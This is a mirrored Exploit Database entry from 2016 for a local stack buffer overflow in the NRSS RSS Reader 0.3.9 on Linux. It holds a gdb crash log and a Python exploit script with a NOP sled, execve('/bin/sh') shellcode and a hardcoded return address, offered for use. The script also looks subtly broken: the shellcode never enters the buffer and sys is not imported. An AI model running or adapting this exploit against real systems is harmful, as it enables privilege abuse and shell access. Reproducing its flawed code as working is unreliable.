NRSS Reader 0.3.9 – Local Stack Overflow

• Exploit Database
• 119 阅读

• 作者： Juan Sacco
  日期： 2016-05-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39810/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

  # Exploit developed using Exploit Pack v5.4 # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: NRSS RSS Reader # Version: 0.3.9-1 # # Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org # Program description: NRSS is a console based RSS reader allowing # uses to read and manage RSS feeds # Kali Linux 2.0 package: pool/main/n/nrss/nrss_0.3.9-1_i386.deb # MD5sum: 27d997c89340ebb6f4a1d9e1eb28ea39 # Website: http://www.codezen.org/nrss/   # # gdb$ run -F $(python -c 'print "A"*256+"DCBA"') # Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"') # # Program received signal SIGSEGV, Segmentation fault. # --------------------------------------------------------------------------[regs] # EAX: 0x00000000EBX: 0x41414141ECX: 0x00000000EDX: 0x0809040Co d I t S z a p c # ESI: 0x41414141EDI: 0x41414141EBP: 0x41414141ESP: 0xBFFFED60 EIP: 0x41424344 # CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007BError while running hook_stop: # Cannot access memory at address 0x41424344 # 0x41424344 in ?? ()     import os, subprocess   def run(): try: print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack" # NOPSLED + SHELLCODE + EIP   buffersize = 256 nopsled = "\x90"*200 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\xd0\xec\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["nrss -F",' ', buffer])   except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, NRSS Reader - Not found!" else: print "Error executing exploit" raise   def howtousage(): print "Snap! Something went wrong" sys.exit(-1)   if __name__ == '__main__': try: print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run()